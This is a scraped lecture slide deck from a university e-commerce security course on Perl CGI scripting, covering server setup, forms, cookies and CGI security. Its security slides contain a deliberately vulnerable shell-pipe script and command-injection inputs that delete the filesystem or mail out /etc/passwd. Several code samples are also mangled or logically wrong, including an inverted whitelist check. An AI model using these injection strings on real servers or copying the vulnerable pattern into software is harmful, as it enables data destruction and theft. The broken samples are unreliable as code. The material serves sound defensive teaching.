Upload
colin-clarke
View
219
Download
1
Tags:
Embed Size (px)
Citation preview
CGI Scripting and Vulnerabilities
COEN 351: E-commerce Security
Setting up a test website under Windows
IIS Built into Windows
Apache Easy download Requires installation and
configuration
Test Website under Windows
Install Apache on Windows XP http://httpd.apache.org/download.cgi
Install ActivePerl on Windows XP http://
www.activestate.com/Products/ActivePerl/
Configure Apache Use the instructions at
http://www.cgi101.com/book/connect/winxp.html
http://www.cgi101.com/book/connect/winxp.html
Test Website under Windows Start the Apache web server for a quick
test. You might need to disable IIS.
Go to Control Panel Administrative Tools Services and find IIS and stop it.
(You can always restart it.) Open up a command prompt and run the
Apache.exe. After you are done, kill the process with Ctr+C.
Then use your browser to go to localhost. If it works, you see a page.
http://www.cgi101.com/book/connect/winxp.html
Test Website under Windows
Configuring Apache First create a directory that will
contain your web pages. Then edit the configuration file.
http://www.cgi101.com/book/connect/winxp.html
Test Website under Windows
Since we are creating unsafe websites, remember to stop the Apache web-server when you are connected to the internet.
http://www.cgi101.com/book/connect/winxp.html
Test Website under Windows IIS
Install and activate service Set up directory for cgi pages.
Executables need execute permission, scripts need script or execute permission.
Need application mapping between the file name extension and the script.
IIS Manager (Administrative Tools IIS Manager)
Test Website under Windows
Notice:
If you are actually using your machine as a web-server, disable all unused extensions to lower your “attack surface”.
Test Website under Windows Do not start Perl scripts with the shebang: #!
perl/bin/perl Instead
print "HTTP/1.0 200 OK\n";print "Content-type: text/html\n\n";
If you run a web-site, you need to take a number of precautions:
Use NTFS security attributes / user accounts to restrict access.
Place web-site on a different partition. Do not use default sites. Remove examples. Patch automatically. …
CGI with Perl Fundamentals
You are now ready to create a webpage in your home directory index.html
Next step is to try a cgi script.
#!/perl/bin/perl -wT print "Content-type: text/html\n\n"; print "<h1>Hi</h1>\n";
Path to the perl executable. Different from UNIX!
CGI with Perl Fundamentals
Creating dynamic web-pages with PERL Web server passes information to CGI
scripts via environment variables. CGI scripts produce output by printing
the HTTP message on STDOUT. CGI scripts do not need to printout full
headers.
CGI with Perl Fundamentals
CGI with Perl Fundamentals
Only simple header. Notice the double lines.
Print statement
CGI with Perl Fundamentals#! /perl/bin/perl -wTuse CGI::Carp qw(warningsToBrowser fatalsToBrowser);
print <<EHTML;Content-type: text/html
<html><head><title>Environmental Variables</title></head><body> <h1>Hi</h1> <pre>
Server $ENV{SERVER_NAME}Listening port $ENV{SERVER_PORT}Server software $ENV{SERVER_SOFTWARE}Server protocol $ENV{SERVER_PROTOCOL}CGI version $ENV{GATEWAY_INTERFACE} </pre>
</body></html>
EHTML
Shebang with path to PerlSends diagnostic messages to the browser. Remove before posting it.
This allows you to just type in code instead of using individual print statements. The closing EHTML (or whatever token you choose) needs to be in the first position in the line and followed by an empty line.
Environmental variables
CGI with Perl Fundamentals Environmental Variables
AUTH_TYPE CONTENT_LENGTH CONTENT_TYPE DOCUMENT_ROOT GATEWAY_INTERFACE PATH_INFO PATH_TRANSLATED
CGI with Perl Fundamentals
Environmental Variables QUERY_STRING REMOTE_ADDR REMOTE_HOST REMOTE_IDENT
Ident daemon: UNIX and IRC clients only REMOTE_USER REQUEST_METHOD
CGI with Perl Fundamentals
Environmental Variables SCRIPT_NAME SERVER_NAME SERVER_PROTOCOL SERVER_SOFTWARE
CGI with Perl Fundamentals Additional CGI Environment Variables:
HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING HTTP_ACCEPT_LANGUAGE HTTP_COOKIE HTTP_FROM HTTP_HOST HTTP_REFERER HTTP_USER_AGENT
CGI with Perl Fundamentals
Environmental Variables Secure server adds many more
environmental variables. X.509 server / browser certificates
HTTPS Used as a flag to indicate whether the
connection is secure. Values vary by server
“ON”, “on”, “Off”, “off”
CGI with Perl Fundamentals
#!/perl/bin/perl -wT
use CGI qw(:standard);use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
my $email = "tjschwarz\@scu.edu";my $url = "http://www.cse.scu.edu";
print header;print start_html("Scalars");print <<EndHTML;<h2>Hello</h2><p>My e-mail address is $email, and my web url is<a href="$url">$url</a>.</p>EndHTML
print end_html;
CGI with Perl Fundamentals
CGI with Perl Fundamentals
CGI can output full or partial headers. Partial headers: One of
Content-type header Location header
Specifies URL to redirect the client to. Status header
E.g. “204 No response”
Delimited by TWO new-lines
CGI with Perl Fundamentals
CGI with Perl Fundamentals
When using a code, remember that the HTTP status message is not displayed.
Therefore, you might want to formulate your own error page.
CGI with Perl Fundamentals
Complete Headers: Need status line. Need Content-type line Need Server header.
The last two are given to you as environmental variables.
Called nph (non-parsed header) scripts
CGI with Perl Fundamentals Perl Modules
Pre-written code. Standard library modules. Other modules e.g. at Comprehensive Perl
Archive Network. CGI.pm module
Load with “use CGI qw(:standard);” Has various function names:
header start_html end_html
CGI with Perl Fundamentals
CGI.pm module print start_html(“hello”)
Prints out: <html><head><title>hello</title></head><body>
end_html Prints out:
</body></html>
CGI with Perl Fundamentals
Imperative version
use CGI qw(:standard); print header; print start_html("Hello World");
Object-Oriented Version
use CGI; # don't need qw(:standard) $cgi = CGI->new; # ($cgi is now the object) print $cgi->header; # function call: $obj->function print $cgi->start_html("Hello World");
CGI with Perl Fundamentals
Forms Allow browser to post data to server. Uses GET or POST message
CGI with Perl Fundamentals
CGI with Perl Fundamentals
HTTP request isPOST f1.cgi HTTP/1.1Host: localhostContent-Length: 40Content-Type: application/x-www-form-urlencode
name=Thomas+Schwarz&email=tschwarz%40scu.edu
CGI with Perl Fundamentals
HTTP request with GET would beGET /f1.cgi?name=Thomas+Schwarz&email=tschwarz%40scu.edu
CGI with Perl Fundamentals To read a form:
Read the query string from $ENV{QUERY_STRING}
If the $ENV{REQUEST_METHOD} is POST, determine the size of the request.
Split the result on the “&” character. Split each name – value pair Decode the URL decoded characters in
name and value. Associate each name with its values.
CGI with Perl Fundamentals
Using the CGI.pm module makes things much easier.
CGI with Perl Fundamentals
CGI Security
Security holes are exploited by user input. We need to check user input against
Buffer overflows etc. that cause a program to misbehave.
Input that is interpreted differently than the designer expects it.
CGI Security
Interpretation example: Assume that we call a program within
a script and pass user-provided parameters to the program.
CGI Security
Interpretation Example#!usr/bin/perl –wuse CGI
my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;
CGI Security
Interpretation Example We first verify that the user enters a
string. We use a pipe in order to stream the
output of app to the page. The “print while <PIPE>;” statement
takes the output one line at a time and prints it out.
CGI Security
Interpretation Example#!usr/bin/perl –wuse CGI
my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;
CGI Security
Interpretation Example When Perl opens up a pipe, then user
input is passed through a shell Assume users types in ‘rm -rf /’ on a Unix
machine. The command would execute as if the
following command would have been entered into a shell:
$ /temp/app.exe “ \rm –rf /’ “
CGI Security Interpretation Example
When Perl opens up a pipe, then user input is passed through a shell
Assume users types in “; mail [email protected] < /etc/passwd” on a Unix machine.
The command would execute as if the following command would have been entered into a shell:
$ /temp/app.exe “”; mail [email protected] < /etc/passwd
CGI Security Interpretation Example
A simplistic countermeasure checks the input for bad characters, before we pass user input to the pipe.
This is a bad strategy because it only excludes possible attacks.
Much better to positively identify good input. Before 9/11, visa to US was granted unless there was
a positive reason to exclude some-one. (Bad list.) After 9/11, visa to US demands proof of good
attitudes. Bad policy maybe for the US, but good policy for web-
servers (unless you eliminate legitimate traffic).
CGI Security
Interpretation Example#!usr/bin/perl –wuse CGI
my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}if ($string =~ /[‘\$\\” ‘ ;& … ] ) {error($q, “Bad input”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;
CGI Security
Interpretation Example We will only allow strings that are
alpha-numerical, have underscores, hyphens, periods, question marks, and exclamation points.
CGI Security
Interpretation Example#!usr/bin/perl –wuse CGI
my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}if ($string =~ /^[\w.!?-]+$/ ) {error($q, “Bad input”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;
CGI Security
Interpretation Example This is much better.
But do we positively know that one could not write an attack string that way?
More importantly, a minor change can destroy the security.
Better not use this idea.
CGI Security
Interpretation Example Prevent the root problem:
Do not pass arguments through the shell. First fork. Then let child process call
exec.
CGI Security
Interpretation Example#!usr/bin/perl –wuse CGI
my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}local *PIPE;my $pid = open PIPE, “-|”;die “Cannot fork $!” unless defined $pid;unless ( $pid ) {
exec app, $ string or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;
CGI Security
DO NOT TRUST INPUT Data in hidden fields can be changed
by the user. Data in cookies can be changed.
Perl Taint Mode Perl offers some protection against
user input. In taint mode, Perl will not allow any
data from outside the application to affect anything outside the application. Tainted variables can not be passed to
eval shell calls on the file system
Perl Taint Mode Tainted variables taint variables calculated from them. However, to make things work, you usually need to
untaint variables: If a variable matches with a regular expression using () groups,
then they become untainted.
if ($email =~ /(\w{1}[\w-.]*)\@([\w-.]+)/) { $email = "$1\@$2"; }
else { warn ("TAINTED DATA SENT BY $ENV{'REMOTE_ADDR'}: $email: $!"); $email = ""; # successful match did not occur }
CGI Security
Data Storage Issues Danger: Opening files when the
filename is dynamically generated based on user input.
Move data files out of web server tree. Set file permissions.
Principle of minimal permission. Files that only need to be read should be owned
by nobody and should be write protected.
CGI Security
Learn the Odds and Ends Email
User should not be able to send email to anyone but a single entity.
Otherwise, it is trivial to fake email coming from your organization.
Maintaining State Query strings and extra path information
State information is lost when user leaves the website.
Need to parse the query string Hidden fields
Only with form submission. Cookies
Persistent. Need user enabling cookies.
Maintaining State
With query strings: Have a cgi script that handles every
request for an html page. If the URL does not contain an
identifier, then create a new identifier and give it to the user.
Script parses all links in the HTML page and resets them to contain a query string.
Maintaining State
With query strings: Running a cgi script with every
browser request eats up resources. mod_perl, Fastcgi embed the Perl
interpreter into the web server and perform better.
Otherwise, preprocess the document. I.e. every document is now dynamic.
Maintaining State
Hidden Fields Form submission goes directly to cgi
script.
Maintaining State
Client-side cookies Cookies are set in the http header.
Maintaining State
Client-side cookies Setting cookies within CGI module
my $cookie = $q->cookie( -name => “thomas”, -value => 123456, -domain => “scu.edu”
-expires => “+1y”,-path => “/cig”,-secure => 1 );
print $q->header( -type => “text/html”, -cookie => $cookie );
Maintaining State
Client-side cookies
Maintaining State
Client-side cookies